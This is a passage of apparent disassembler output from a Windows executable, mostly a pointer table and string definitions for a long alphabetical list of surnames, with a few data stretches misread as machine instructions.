offset aHargraves ; "Hargraves" dd offset aHarlow ; "Harlow" dd offset aHarrigan ; "Harrigan" dd offset aHartman ; "Hartman" dd offset aHartmann ; "Hartmann" dd offset aHartnett ; "Hartnett" dd offset aHarwell ; "Harwell" dd offset aHaviaras ; "Haviaras" dd offset aHawkes ; "Hawkes" dd offset aHayes ; "Hayes" dd offset aHaynes ; "Haynes" dd offset aHazlewood ; "Hazlewood" dd offset aHeermans ; "Heermans" dd offset aHeft ; "Heft" dd offset aHeiland ; "Heiland" dd offset aHellman ; "Hellman" dd offset aHellmiss ; "Hellmiss" dd offset aHelprin ; "Helprin" dd offset aHemphill ; "Hemphill" dd offset aHenery ; "Henery" dd offset aHenrichs ; "Henrichs" dd offset aHernandez ; "Hernandez" dd offset aHerrera ; "Herrera" dd offset aHester ; "Hester" dd offset aHeubert ; "Heubert" dd offset aHeyeck ; "Heyeck" dd offset aHimmelfarb ; "Himmelfarb" dd offset aHind ; "Hind" dd offset aHirst ; "Hirst" dd offset aHitchcock ; "Hitchcock" dd offset aHoang ; "Hoang" dd offset aHock ; "Hock" dd offset aHoffer ; "Hoffer" dd offset aHoffman ; "Hoffman" dd offset aHokanson ; "Hokanson" dd offset aHokoda ; "Hokoda" dd offset aHolmes ; "Holmes" dd offset aHoloien ; "Holoien" dd offset aHolter ; "Holter" dd offset aHolway ; "Holway" dd offset aHolzman ; "Holzman" dd offset aHooker ; "Hooker" dd offset aHopkins ; "Hopkins" dd offset aHorsley ; "Horsley" dd offset aHoshida ; "Hoshida" dd offset aHostage ; "Hostage" dd offset aHottle ; "Hottle" dd offset aHoward ; "Howard" dd offset aHoy ; "Hoy" dd offset aHuey ; "Huey" dd offset aHuidekoper ; "Huidekoper" dd offset aHungerford ; "Hungerford" dd offset aHuntington ; "Huntington" dd offset aHupp ; "Hupp" dd offset aHurtubise ; "Hurtubise" dd offset aHutchings ; "Hutchings" dd offset aHyde ; "Hyde" dd offset aIaquinta ; "Iaquinta" dd offset aIchikawa ; "Ichikawa" dd offset aIgarashi ; "Igarashi" dd offset aInamura ; "Inamura" dd offset aInniss ; "Inniss" dd offset aIsaac ; "Isaac" dd offset aIsaievych ; "Isaievych" dd offset aIsbill ; "Isbill" dd offset aIsserman ; "Isserman" dd offset aIyer ; "Iyer" dd offset aJacenko ; "Jacenko" dd offset aJackson ; "Jackson" dd offset aJagers ; "Jagers" dd offset aJagger ; "Jagger" dd offset aJagoe ; "Jagoe" dd offset aJain ; "Jain" dd offset aJamil ; "Jamil" dd offset aJanjigian ; "Janjigian" dd offset aJarnagin ; "Jarnagin" dd offset aJarrell ; "Jarrell" dd offset aJay ; "Jay" dd offset aJeffers ; "Jeffers" dd offset aJellis ; "Jellis" dd offset aJenkins ; "Jenkins" dd offset aJespersen ; "Jespersen" dd offset aJewett ; "Jewett" dd offset aJohannesson ; "Johannesson" dd offset aJohannsen ; "Johannsen" dd offset aJohns ; "Johns" dd offset aJolly ; "Jolly" dd offset aJorgensen ; "Jorgensen" dd offset aJucks ; "Jucks" dd offset aJuliano ; "Juliano" dd offset aJulious ; "Julious" dd offset aKabbash ; "Kabbash" dd offset aKaboolian ; "Kaboolian" dd offset aKafadar ; "Kafadar" dd offset aKalbfleisch ; "Kalbfleisch" dd offset aKaligian ; "Kaligian" dd offset aKalil ; "Kalil" dd offset aKalinowski ; "Kalinowski" dd offset aKalman ; "Kalman" dd offset aKamel ; "Kamel" dd offset aKangis ; "Kangis" dd offset aKarpouzes ; "Karpouzes" dd offset aKassower ; "Kassower" dd offset aKasten ; "Kasten" dd offset aKawachi ; "Kawachi" dd offset aKee ; "Kee" dd offset aKeenan ; "Keenan" ; --------------------------------------------------------------------------- loc_42DE8C: ; CODE XREF: ___:loc_42DE8Cj jo short loc_42DE8C inc edx add [eax-2], ch inc edx add [eax-2], ah inc edx add [eax-2], bl inc edx add [eax-2], dl inc edx add [eax-2], cl inc edx add [eax-2], al inc edx add [eax], bh inc byte ptr [edx+0] xor dh, bh inc edx add [eax], ch inc byte ptr [edx+0] and dh, bh inc edx add [eax], bl inc byte ptr [edx+0] adc dh, bh inc edx add [eax], cl inc byte ptr [edx+0] add dh, bh inc edx add al, dh std inc edx add al, ch std inc edx add ah, bl std inc edx add al, dl std inc edx add al, cl std inc edx add [ebp+edi*8-24FFFBEh], bh inc edx add [eax-63FFBD03h], ch std inc edx add [ebp+edi*8-273FFBEh], dl inc edx add [ebp+edi*8-283FFBEh], al inc edx add [ebp+edi*8+42h], dh add [eax-3], ch inc edx add [eax-3], ah inc edx add [ebp+edi*8+42h], dl add [ebp+edi*8+42h], cl add [ebp+edi*8+42h], al add [eax], bh std inc edx add [eax], dh std inc edx add [eax], ch std inc edx add [eax], ah std inc edx add [eax], bl std inc edx add [eax], dl std inc edx add [eax], cl std inc edx ; --------------------------------------------------------------------------- db 0 dd offset aKroemer ; "Kroemer" dd offset aKrysiak ; "Krysiak" dd offset aKuenzli ; "Kuenzli" dd offset aKumar ; "Kumar" dd offset aKusman ; "Kusman" dd offset aKuwabara ; "Kuwabara" dd offset aLa ; "La" dd offset aLabunka ; "Labunka" dd offset aLafler ; "Lafler" dd offset aLaing ; "Laing" dd offset aLallemant ; "Lallemant" dd offset aLandes ; "Landes" dd offset aLankes ; "Lankes" dd offset aLantieri ; "Lantieri" dd offset aLanzit ; "Lanzit" dd offset aLaserna ; "Laserna" dd offset aLashley ; "Lashley" dd offset aLawless ; "Lawless" dd offset aLecar ; "Lecar" dd offset aLecce ; "Lecce" dd offset aLeclercq ; "Leclercq" dd offset aLeite ; "Leite" dd offset aLenard ; "Lenard" dd offset aLEnclos ; "l'Enclos" dd offset aLesser ; "Lesser" dd offset aLessi ; "Lessi" dd offset aLiakos ; "Liakos" dd offset aLidano ; "Lidano" dd offset aLiem ; "Liem" dd offset aLight ; "Light" dd offset aLightfoot ; "Lightfoot" dd offset aLim ; "Lim" dd offset aLinares ; "Linares" dd offset aLinda ; "Linda" dd offset aLinder ; "Linder" dd offset aLine ; "Line" dd offset aLinehan ; "Linehan" dd offset aLinzee ; "Linzee" dd offset aLippmann ; "Lippmann" dd offset aLipponen ; "Lipponen" dd offset aLittle ; "Little" dd offset aLitvak ; "Litvak" dd offset aLivernash ; "Livernash" dd offset aLivi ; "Livi" dd offset aLivolsi ; "Livolsi" dd offset aLizardo ; "Lizardo" dd offset aLocatelli ; "Locatelli" dd offset aLongworth ; "Longworth" dd offset aLoss ; "Loss" dd offset aLoveman ; "Loveman" dd offset aLowenstein ; "Lowenstein" dd offset aLoza ; "Loza" dd offset aLubin ; "Lubin" dd offset aLucas ; "Lucas" dd offset aLuciano ; "Luciano" dd offset aLuczkow ; "Luczkow" dd offset aLuecke ; "Luecke" dd offset aLunetta ; "Lunetta" dd offset aLuoma ; "Luoma" dd offset aLussier ; "Lussier" dd offset aLutcavage ; "Lutcavage" dd offset aLuzader ; "Luzader" dd offset aMa ; "Ma" dd offset aMaccormac ; "Maccormac" dd offset aMacdonald ; "Macdonald" dd offset aMaceachern ; "Maceachern" dd offset aMacintyre ; "Macintyre" dd offset aMackenney ; "Mackenney" dd offset aMacmillan ; "MacMillan" dd offset aMacy ; "Macy" dd offset aMadigan ; "Madigan" dd offset aMaggio ; "Maggio" dd offset aMahony ; "Mahony" dd offset aMaier ; "Maier" dd offset aMaineHershey ; "Maine-Hershey" dd offset aMaisano ; "Maisano" dd offset aMalatesta ; "Malatesta" dd offset aMaller ; "Maller" dd offset aMalova ; "Malova" dd offset aManalis ; "Manalis" dd offset aMandel ; "Mandel" dd offset aManganiello ; "Manganiello" dd offset aMantovan ; "Mantovan" dd offset aMarch ; "March" dd offset aMarchbanks ; "Marchbanks" dd offset aMarcus ; "Marcus" dd offset aMargalit ; "Margalit" dd offset aMargetts ; "Margetts" dd offset aMarques ; "Marques" dd offset aMartinez ; "Martinez" dd offset aMartochio ; "Martochio" dd offset aMarton ; "Marton" dd offset aMarubini ; "Marubini" dd offset aMass ; "Mass" dd offset aMatalka ; "Matalka" dd offset aMatarazzo ; "Matarazzo" dd offset aMatsukata ; "Matsukata" dd offset aMattson ; "Mattson" dd offset aMauzy ; "Mauzy" dd offset aMay ; "May" dd offset aMazzali ; "Mazzali" dd offset aMazziotta ; "Mazziotta" dd offset aMcbride ; "Mcbride" dd offset aMccaffery ; "Mccaffery" dd offset aMccall ; "Mccall" dd offset aMcclearn ; "Mcclearn" dd offset aMcdowell ; "Mcdowell" dd offset aMcelroy ; "Mcelroy" dd offset aMcfadden ; "McFadden" dd offset aMcghee ; "Mcghee" dd offset aMcgoldrick ; "Mcgoldrick" dd offset aMcilroy ; "McIlroy" dd offset aMcintosh ; "Mcintosh" dd offset aMckenna ; "Mckenna" dd offset aMclane ; "Mclane" dd offset aMclaren ; "Mclaren" dd offset aMcnealy ; "Mcnealy" dd offset aMcnulty ; "Mcnulty" dd offset aMeccariello ; "Meccariello" dd offset aMemisoglu ; "Memisoglu" dd offset aMenzies ; "Menzies" dd offset aMerikoski ; "Merikoski" dd offset aMerlani ; "Merlani" dd offset aMerminod ; "Merminod" dd offset aMerseth ; "Merseth" dd offset aMerz ; "Merz" dd offset aMetelka ; "Metelka" dd offset aMetropolis ; "Metropolis" dd offset aMeurer ; "Meurer" dd offset aMichelman ; "Michelman" dd offset aMiddle ; "Middle" dd offset aMieher ; "Mieher" dd offset aMills ; "Mills" dd offset aMinh ; "Minh" dd offset aMini ; "Mini" dd offset aMinichiello ; "Minichiello" dd offset aGonzalez ; "Gonzalez" dd offset aMitropoulos ; "Mitropoulos" dd offset aMittal ; "Mittal" dd offset aMocroft ; "Mocroft" dd offset aModestino ; "Modestino" dd offset aMoeller ; "Moeller" dd offset aMohr ; "Mohr" dd offset aMoiamedi ; "Moiamedi" dd offset aMonque ; "Monque" dd offset aMontilio ; "Montilio" dd offset aMooredech_ ; "MooreDeCh." dd offset aMorani ; "Morani" dd offset aMoreton ; "Moreton" dd offset aMorrison ; "Morrison" dd offset aMorrow ; "Morrow" dd offset aMortimer ; "Mortimer" dd offset aMosher ; "Mosher" dd offset aMosler ; "Mosler" dd offset aMostafavi ; "Mostafavi" dd offset aMotooka ; "Motooka" dd offset aMudarri ; "Mudarri" dd offset aMuello ; "Muello" dd offset aMugnai ; "Mugnai" dd offset aMulkern ; "Mulkern" dd offset aMulroy ; "Mulroy" dd offset aMumford ; "Mumford" dd offset aMussachio ; "Mussachio" dd offset aNaddeo ; "Naddeo" dd offset aNapolitano ; "Napolitano" dd offset aNardi ; "Nardi" dd offset aNardone ; "Nardone" dd offset aNaviaux ; "Naviaux" dd offset aNayduch ; "Nayduch" dd offset aNelson ; "Nelson" dd offset aNenna ; "Nenna" dd offset aNesci ; "Nesci" dd offset aNeuman ; "Neuman" dd offset aNewfeld ; "Newfeld" dd offset aNewlin ; "Newlin" dd offset aNg ; "Ng" dd offset aNi_0 ; "Ni" dd offset aNickerson ; "Nickerson" dd offset aNickoloff ; "Nickoloff" dd offset aNisenson ; "Nisenson" dd offset aNitabach ; "Nitabach" dd offset aNotman ; "Notman" dd offset aNuzum ; "Nuzum" dd offset aOcougne ; "Ocougne" dd offset aOgata ; "Ogata" dd offset aOh ; "Oh" dd offset aOHagan ; "O'hagan" dd offset aOldford ; "Oldford" dd offset aOlsen ; "Olsen" dd offset aOlson ; "Olson" dd offset aOlszewski ; "Olszewski" dd offset aOMalley ; "O'malley" dd offset aOman ; "Oman" dd offset aOMeara ; "O'meara" dd offset aOpel ; "Opel" dd offset aOray ; "Oray" dd offset aOrfield ; "Orfield" dd offset aOrsi ; "Orsi" dd offset aOspina ; "Ospina" dd offset aOstrowski ; "Ostrowski" dd offset aOttaviani ; "Ottaviani" dd offset aOtten ; "Otten" dd offset aOuchida ; "Ouchida" dd offset aOvid ; "Ovid" dd offset aPaesdealmeida ; "PaesDealmeida" dd offset aPaine ; "Paine" dd offset aPalayoor ; "Palayoor" dd offset aPalepu ; "Palepu" dd offset aPallara ; "Pallara" dd offset aPalmitesta ; "Palmitesta" dd offset aPanadero ; "Panadero" dd offset aPanizzon ; "Panizzon" dd offset aPantilla ; "Pantilla" dd offset aPaoletti ; "Paoletti" dd offset aParmeggiani ; "Parmeggiani" dd offset aParris ; "Parris" dd offset aPartridge ; "Partridge" dd offset aPascucci ; "Pascucci" dd offset aPatefield ; "Patefield" dd offset aPatrick ; "Patrick" dd offset aPattullo ; "Pattullo" dd offset aPavetti ; "Pavetti" dd offset aPavlon ; "Pavlon" dd offset aPawloski ; "Pawloski" dd offset aPaynter ; "Paynter" dd offset aPeabody ; "Peabody" dd offset aPearlberg ; "Pearlberg" dd offset aPederson ; "Pederson" dd offset aPeishel ; "Peishel" dd offset aPenny ; "Penny" dd offset aPereira ; "Pereira" dd offset aPerko ; "Perko" dd offset aPerlak ; "Perlak" dd offset aPerlman ; "Perlman" dd offset aPerna ; "Perna" dd offset aPerone ; "Perone" dd offset aPerrimon ; "Perrimon" dd offset aPeters ; "Peters" dd offset aPetruzello ; "Petruzello" dd offset aPettibone ; "Pettibone" dd offset aPettit ; "Pettit" dd offset aPfister ; "Pfister" dd offset aPilbeam ; "Pilbeam" dd offset aPinot ; "Pinot" dd offset aPlancon ; "Plancon" dd offset aPlant ; "Plant" dd offset aPlasket ; "Plasket" dd offset aPlous ; "Plous" dd offset aPo ; "Po" dd offset aPocobene ; "Pocobene" dd offset aPoincaire ; "Poincaire" dd offset aPointer ; "Pointer" dd offset aPoirier ; "Poirier" dd offset aPolak ; "Polak" dd offset aPolanyi ; "Polanyi" dd offset aPolitis ; "Politis" dd offset aPoma ; "Poma" dd offset aPoolman ; "Poolman" dd offset aPowers ; "Powers" dd offset aPresper ; "Presper" dd offset aPreucel ; "Preucel" dd offset aPrevost ; "Prevost" dd offset aPritchard ; "Pritchard" dd offset aPritz ; "Pritz" dd offset aProietti ; "Proietti" dd offset aProthrowStith ; "Prothrow-Stith" dd offset aPuccia ; "Puccia" dd offset aPugh ; "Pugh" dd offset aPynchon ; "Pynchon" dd offset aQuaday ; "Quaday" dd offset aQuetin ; "Quetin" dd offset aRabe ; "Rabe" dd offset aRabkin ; "Rabkin" dd offset aRadeke ; "Radeke" dd offset aRajagopalan ; "Rajagopalan" dd offset aRaney ; "Raney" dd offset aRangan ; "Rangan" dd offset aRankin ; "Rankin" dd offset aRapple ; "Rapple" dd offset aRayport ; "Rayport" dd offset aReddenTyler ; "Redden-Tyler" dd offset aReedquist ; "Reedquist" dd offset aCunningham ; "Cunningham" dd offset aReinold ; "Reinold" dd offset aRemak ; "Remak" dd offset aRenick ; "Renick" dd offset aRepetto ; "Repetto" dd offset aResnik ; "Resnik" dd offset aRhea ; "Rhea" dd offset aRichmond ; "Richmond" dd offset aRielly ; "Rielly" dd offset aRindos ; "Rindos" dd offset aRineer ; "Rineer" dd offset aRish ; "Rish" dd offset aRivera ; "Rivera" dd offset aRobinson ; "Robinson" dd offset aRocha ; "Rocha" dd offset aRoesler ; "Roesler" dd offset aRogers ; "Rogers" dd offset aRonen ; "Ronen" dd offset aRow ; "Row" dd offset aRoyal ; "Royal" dd offset aRu ; "Ru" dd offset aRuan ; "Ruan" dd offset aRuderman ; "Ruderman" dd offset aRuescher ; "Ruescher" dd offset aRush ; "Rush" dd offset aRyu ; "Ryu" dd offset aSabatello ; "Sabatello" dd offset aSadler ; "Sadler" dd offset aSafire ; "Safire" dd offset aSahu ; "Sahu" dd offset aSali ; "Sali" dd offset aSamson ; "Samson" dd offset aSanchezRamirez ; "Sanchez-Ramirez" dd offset aSanna ; "Sanna" dd offset aSapers ; "Sapers" dd offset aSarin ; "Sarin" dd offset aSartore ; "Sartore" dd offset aSase ; "Sase" dd offset aSatin ; "Satin" dd offset aSatta ; "Satta" dd offset aSatterthwaite ; "Satterthwaite" dd offset aSawtell ; "Sawtell" dd offset aSayied ; "Sayied" dd offset aScarponi ; "Scarponi" dd offset aScepan ; "Scepan" dd offset aScharf ; "Scharf" dd offset aScharlemann ; "Scharlemann" dd offset aScheiner ; "Scheiner" dd offset aSchiano ; "Schiano" dd offset aSchifini ; "Schifini" dd offset aSchilling ; "Schilling" dd offset aSchmitt ; "Schmitt" dd offset aSchossberger ; "Schossberger" dd offset aSchuman ; "Schuman" dd offset aSchutte ; "Schutte" dd offset aSchuyler ; "Schuyler" dd offset aSchwan ; "Schwan" dd offset aSchwickrath ; "Schwickrath" dd offset aScovel ; "Scovel" dd offset aScudder ; "Scudder" dd offset aSeaton ; "Seaton" dd offset aSeeber ; "Seeber" dd offset aSegal ; "Segal" dd offset aSekler ; "Sekler" dd offset aSelvage ; "Selvage" dd offset aSen ; "Sen" dd offset aSennett ; "Sennett" dd offset aSeterdahl ; "Seterdahl" dd offset aSexton ; "Sexton" dd offset aSeyfert ; "Seyfert" dd offset aShaikh ; "Shaikh" dd offset aShakis ; "Shakis" dd offset aShankland ; "Shankland" dd offset aShanley ; "Shanley" dd offset aShar ; "Shar" dd offset aShatrov ; "Shatrov" dd offset aShavelson ; "Shavelson" dd offset aShea ; "Shea" dd offset aSheats ; "Sheats" dd offset aShepherd ; "Shepherd" dd offset aSheppard ; "Sheppard" dd offset aShepstone ; "Shepstone" dd offset aShesko ; "Shesko" dd offset aShia ; "Shia" dd offset aShibata ; "Shibata" dd offset aShimon ; "Shimon" dd offset aSiesto ; "Siesto" dd offset aSigalot ; "Sigalot" dd offset aSigini ; "Sigini" dd offset aSigna ; "Signa" dd offset aSilverman ; "Silverman" dd offset aSilvetti ; "Silvetti" dd offset aSinsabaugh ; "Sinsabaugh" dd offset aSirilli ; "Sirilli" dd offset aSites ; "Sites" dd offset aSkane ; "Skane" dd offset aSkerry ; "Skerry" dd offset aSkoda ; "Skoda" dd offset aSloan ; "Sloan" dd offset aSlowe ; "Slowe" dd offset aSmilow ; "Smilow" dd offset aSniffen ; "Sniffen" dd offset aSnodgrass ; "Snodgrass" dd offset aSocolow ; "Socolow" dd offset aSolon ; "Solon" dd offset aSomers ; "Somers" dd offset aSommariva ; "Sommariva" dd offset aSorabella ; "Sorabella" dd offset aSorg ; "Sorg" dd offset aSottak ; "Sottak" dd offset aSoukup ; "Soukup" dd offset aSoule ; "Soule" dd offset aSoultanian ; "Soultanian" dd offset aSpanier ; "Spanier" dd offset aSparrow ; "Sparrow" dd offset aSpaulding ; "Spaulding" dd offset aSpeizer ; "Speizer" dd offset aSpence ; "Spence" dd offset aSperber ; "Sperber" dd offset aSpicer ; "Spicer" dd offset aSpiegelhalter ; "Spiegelhalter" dd offset aSpiliotis ; "Spiliotis" dd offset aSpinrad ; "Spinrad" dd offset aStmartin ; "StMartin" dd offset aStalvey ; "Stalvey" dd offset aStam ; "Stam" dd offset aStang ; "Stang" dd offset aStassinopolus ; "Stassinopolus" dd offset aStates ; "States" dd offset aStatlender ; "Statlender" dd offset aStefani ; "Stefani" dd offset aSteiner ; "Steiner" dd offset aStephanian ; "Stephanian" dd offset aStepniewska ; "Stepniewska" dd offset aStewartOaten ; "Stewart-Oaten" dd offset aStiepock ; "Stiepock" dd offset aStillwell ; "Stillwell" dd offset aStock ; "Stock" dd offset aStockton ; "Stockton" dd offset aStockwell ; "Stockwell" dd offset aStolzenberg ; "Stolzenberg" dd offset aStonich ; "Stonich" dd offset aStorer ; "Storer" dd offset aStott ; "Stott" dd offset aStrange ; "Strange" dd offset aStrauch ; "Strauch" dd offset aStreiff ; "Streiff" dd offset aStringer ; "Stringer" dd offset aSullivan ; "Sullivan" dd offset aSumner ; "Sumner" dd offset aSuo ; "Suo" dd offset aSurdam ; "Surdam" dd offset aSweeting ; "Sweeting" dd offset aSweetser ; "Sweetser" dd offset aSwindle ; "Swindle" dd offset aTagiuri ; "Tagiuri" dd offset aTai ; "Tai" dd offset aTalaugon ; "Talaugon" dd offset aTambiah ; "Tambiah" dd offset aTandler ; "Tandler" dd offset aTanowitz ; "Tanowitz" dd offset aTatar ; "Tatar" dd offset aTaveras ; "Taveras" dd offset aTawn ; "Tawn" dd offset aTcherepnin ; "Tcherepnin" dd offset aTeague ; "Teague" dd offset aTemes ; "Temes" dd offset aTemmer ; "Temmer" dd offset aTenney ; "Tenney" dd offset aTerracini ; "Terracini" dd offset aThan ; "Than" dd offset aThavaneswaran ; "Thavaneswaran" dd offset aTheodos ; "Theodos" dd offset aThibault ; "Thibault" dd offset aThisted ; "Thisted" dd offset aThomsen ; "Thomsen" dd offset aThroop ; "Throop" dd offset aTierney ; "Tierney" dd offset aTill ; "Till" dd offset aTimmons ; "Timmons" dd offset aTofallis ; "Tofallis" dd offset aTollestrup ; "Tollestrup" dd offset aTolls ; "Tolls" dd offset aTolman ; "Tolman" dd offset aTomford ; "Tomford" dd offset aToomer ; "Toomer" dd offset aTopulos ; "Topulos" dd offset aTorresi ; "Torresi" dd offset aTorske ; "Torske" dd offset aTowler ; "Towler" ; --------------------------------------------------------------------------- or ah, ch inc edx add ah, bh jmp short loc_42E6D9 ; --------------------------------------------------------------------------- align 4 dd offset aTrenga ; "Trenga" dd offset aTrewin ; "Trewin" dd offset aTringali ; "Tringali" ; --------------------------------------------------------------------------- fsubr st, st(3) inc edx add al, dl jmp short loc_42E6ED ; --------------------------------------------------------------------------- align 4 enter 42EBh, 0 shr bl, 42h add [ebx+ebp*8-1457FFBEh], dh inc edx add [eax-67FFBD15h], ah jmp short loc_42E705 ; --------------------------------------------------------------------------- align 4 dd offset aTukan ; "Tukan" ; --------------------------------------------------------------------------- mov bl, ch inc edx add [eax+780042EBh], al jmp short loc_42E715 ; --------------------------------------------------------------------------- align 4 dd offset aTwells ; "Twells" db 64h ; --------------------------------------------------------------------------- loc_42E6D9: ; CODE XREF: ___:0042E695j jmp short loc_42E71D ; --------------------------------------------------------------------------- align 4 dd offset aUllman ; "Ullman" ; --------------------------------------------------------------------------- push eax jmp short loc_42E725 ; --------------------------------------------------------------------------- align 4 dd offset aUpsdell ; "Upsdell" ; --------------------------------------------------------------------------- inc eax jmp short near ptr byte_42E72D ; --------------------------------------------------------------------------- align 4 db 30h ; --------------------------------------------------------------------------- loc_42E6ED: ; CODE XREF: ___:0042E6A9j jmp short loc_42E731 ; --------------------------------------------------------------------------- align 10h sub bl, ch inc edx add [eax], ah jmp short loc_42E739 ; --------------------------------------------------------------------------- align 4 sbb bl, ch inc edx add [eax], dl jmp short loc_42E741 ; --------------------------------------------------------------------------- align 10h or bl, ch inc edx add ah, bh loc_42E705: ; CODE XREF: ___:0042E6C1j jmp far ptr 42h:0EAF40042h ; --------------------------------------------------------------------------- dd offset aWallenberg ; "Wallenberg" dd offset aWalter ; "Walter" db 0D4h ; --------------------------------------------------------------------------- loc_42E715: ; CODE XREF: ___:0042E6D1j jmp far ptr 42h:0EACC0042h ; --------------------------------------------------------------------------- db 0C0h ; --------------------------------------------------------------------------- loc_42E71D: ; CODE XREF: ___:loc_42E6D9j jmp far ptr 42h:0EAB00042h ; --------------------------------------------------------------------------- movsb loc_42E725: ; CODE XREF: ___:0042E6E1j jmp far ptr 42h:0EA980042h ; --------------------------------------------------------------------------- db 90h byte_42E72D db 0EAh, 42h, 0 ; CODE XREF: ___:0042E6E9j db 88h ; --------------------------------------------------------------------------- loc_42E731: ; CODE XREF: ___:loc_42E6EDj jmp far ptr 42h:0EA7C0042h ; --------------------------------------------------------------------------- db 70h ; --------------------------------------------------------------------------- loc_42E739: ; CODE XREF: ___:0042E6F5j jmp far ptr 42h:0EA640042h ; --------------------------------------------------------------------------- pop eax loc_42E741: ; CODE XREF: ___:0042E6FDj jmp far ptr 42h:0EA4C0042h ; --------------------------------------------------------------------------- dd offset aVelasquez ; "Velasquez" dd offset aWelles ; "Welles" dd offset aWelsh ; "Welsh" dd offset aWengret ; "Wengret" dd offset aVenne ; "Venne" dd offset aVerghese ; "Verghese" dd offset aWescott ; "Wescott" dd offset aWetzel ; "Wetzel" dd offset aWhately ; "Whately" dd offset aWhilton ; "Whilton" dd offset aWhite ; "White" dd offset aWhitla ; "Whitla" dd offset aWhittaker ; "Whittaker" dd offset aViana ; "Viana" dd offset aViano ; "Viano" dd offset aWiedersheim ; "Wiedersheim" dd offset aWiener ; "Wiener" dd offset aViens ; "Viens" dd offset aVignola ; "Vignola" dd offset aWilder ; "Wilder" dd offset aWilhelm ; "Wilhelm" dd offset aWilk ; "Wilk" dd offset aWilkin ; "Wilkin" dd offset aWilkinson ; "Wilkinson" dd offset aVillarreal ; "Villarreal" dd offset aWillstatter ; "Willstatter" dd offset aWilson ; "Wilson" dd offset aVitali ; "Vitali" dd offset aViviani ; "Viviani" dd offset aVoigt ; "Voigt" dd offset aWolk ; "Wolk" dd offset aVonhoffman ; "VonHoffman" dd offset aWoo ; "Woo" dd offset aWooden ; "Wooden" dd offset aWoods ; "Woods" dd offset aWoodsPowell ; "Woods-Powell" dd offset aVorhaus ; "Vorhaus" dd offset aVotey ; "Votey" dd offset aYacono ; "Yacono" dd offset aYamane ; "Yamane" dd offset aYankee ; "Yankee" dd offset aYarchuk ; "Yarchuk" dd offset aYates ; "Yates" dd offset aYbarra ; "Ybarra" dd offset aYedidia ; "Yedidia" dd offset aYesson ; "Yesson" dd offset aYetiv ; "Yetiv" dd offset aYoffe ; "Yoffe" dd offset aYoo ; "Yoo" dd offset aYoukSee ; "Youk-See" dd offset aYu ; "Yu" dd offset aZachary ; "Zachary" dd offset aZahedi ; "Zahedi" dd offset aZangwill ; "Zangwill" dd offset aZegans ; "Zegans" dd offset aZerbini ; "Zerbini" dd offset aZoldak ; "Zoldak" dd offset aZucconi ; "Zucconi" dd offset aZurn ; "Zurn" dd offset aZwiers ; "Zwiers" dd offset aZytowski ; "Zytowski" aZytowski db 'Zytowski',0 ; DATA XREF: ___:0042E838o align 4 aZwiers db 'Zwiers',0 ; DATA XREF: ___:0042E834o align 10h aZurn db 'Zurn',0 ; DATA XREF: ___:0042E830o align 4 aZucconi db 'Zucconi',0 ; DATA XREF: ___:0042E82Co aZoldak db 'Zoldak',0 ; DATA XREF: ___:0042E828o align 4 aZerbini db 'Zerbini',0 ; DATA XREF: ___:0042E824o aZegans db 'Zegans',0 ; DATA XREF: ___:0042E820o align 4 aZangwill db 'Zangwill',0 ; DATA XREF: ___:0042E81Co align 4 aZahedi db 'Zahedi',0 ; DATA XREF: ___:0042E818o align 4 aZachary db 'Zachary',0 ; DATA XREF: ___:0042E814o aYu db 'Yu',0 ; DATA XREF: ___:0042E810o align 4 aYoukSee db 'Youk-See',0 ; DATA XREF: ___:0042E80Co align 4 aYoo db 'Yoo',0 ; DATA XREF: ___:0042E808o aYoffe db 'Yoffe',0 ; DATA XREF: ___:0042E804o align 10h aYetiv db 'Yetiv',0 ; DATA XREF: ___:0042E800o align 4 aYesson db 'Yesson',0 ; DATA XREF: ___:0042E7FCo align 10h aYedidia db 'Yedidia',0 ; DATA XREF: ___:0042E7F8o aYbarra db 'Ybarra',0 ; DATA XREF: ___:0042E7F4o align 10h aYates db 'Yates',0 ; DATA XREF: ___:0042E7F0o align 4 aYarchuk db 'Yarchuk',0 ; DATA XREF: ___:0042E7ECo aYankee db 'Yankee',0 ; DATA XREF: ___:0042E7E8o align 4 aYamane db 'Yamane',0 ; DATA XREF: ___:0042E7E4o align 10h aYacono db 'Yacono',0 ; DATA XREF: ___:0042E7E0o align 4 aVotey db 'Votey',0 ; DATA XREF: ___:0042E7DCo align 10h aVorhaus db 'Vorhaus',0 ; DATA XREF: ___:0042E7D8o aWoodsPowell db 'Woods-Powell',0 ; DATA XREF: ___:0042E7D4o align 4 aWoods db 'Woods',0 ; DATA XREF: ___:0042E7D0o align 10h aWooden db 'Wooden',0 ; DATA XREF: ___:0042E7CCo align 4 aWoo db 'Woo',0 ; DATA XREF: ___:0042E7C8o aVonhoffman db 'VonHoffman',0 ; DATA XREF: ___:0042E7C4o align 4 aWolk db 'Wolk',0 ; DATA XREF: ___:0042E7C0o align 10h aVoigt db 'Voigt',0 ; DATA XREF: ___:0042E7BCo align 4 aViviani db 'Viviani',0 ; DATA XREF: ___:0042E7B8o aVitali db 'Vitali',0 ; DATA XREF: ___:0042E7B4o align 4 aWilson db 'Wilson',0 ; DATA XREF: ___:0042E7B0o align 10h aWillstatter db 'Willstatter',0 ; DATA XREF: ___:0042E7ACo aVillarreal db 'Villarreal',0 ; DATA XREF: ___:0042E7A8o align 4 aWilkinson db 'Wilkinson',0 ; DATA XREF: ___:0042E7A4o align 4 aWilkin db 'Wilkin',0 ; DATA XREF: ___:0042E7A0o align 4 aWilk db 'Wilk',0 ; DATA XREF: ___:0042E79Co align 4 aWilhelm db 'Wilhelm',0 ; DATA XREF: ___:0042E798o aWilder db 'Wilder',0 ; DATA XREF: ___:0042E794o align 4 aVignola db 'Vignola',0 ; DATA XREF: ___:0042E790o aViens db 'Viens',0 ; DATA XREF: ___:0042E78Co align 4 aWiener db 'Wiener',0 ; DATA XREF: ___:0042E788o align 4 aWiedersheim db 'Wiedersheim',0 ; DATA XREF: ___:0042E784o aViano db 'Viano',0 ; DATA XREF: ___:0042E780o align 10h aViana db 'Viana',0 ; DATA XREF: ___:0042E77Co align 4 aWhittaker db 'Whittaker',0 ; DATA XREF: ___:0042E778o align 4 aWhitla db 'Whitla',0 ; DATA XREF: ___:0042E774o align 4 aWhite db 'White',0 ; DATA XREF: ___:0042E770o align 4 aWhilton db 'Whilton',0 ; DATA XREF: ___:0042E76Co aWhately db 'Whately',0 ; DATA XREF: ___:0042E768o aWetzel db 'Wetzel',0 ; DATA XREF: ___:0042E764o align 4 aWescott db 'Wescott',0 ; DATA XREF: ___:0042E760o aVerghese db 'Verghese',0 ; DATA XREF: ___:0042E75Co align 10h aVenne db 'Venne',0 ; DATA XREF: ___:0042E758o align 4 aWengret db 'Wengret',0 ; DATA XREF: ___:0042E754o 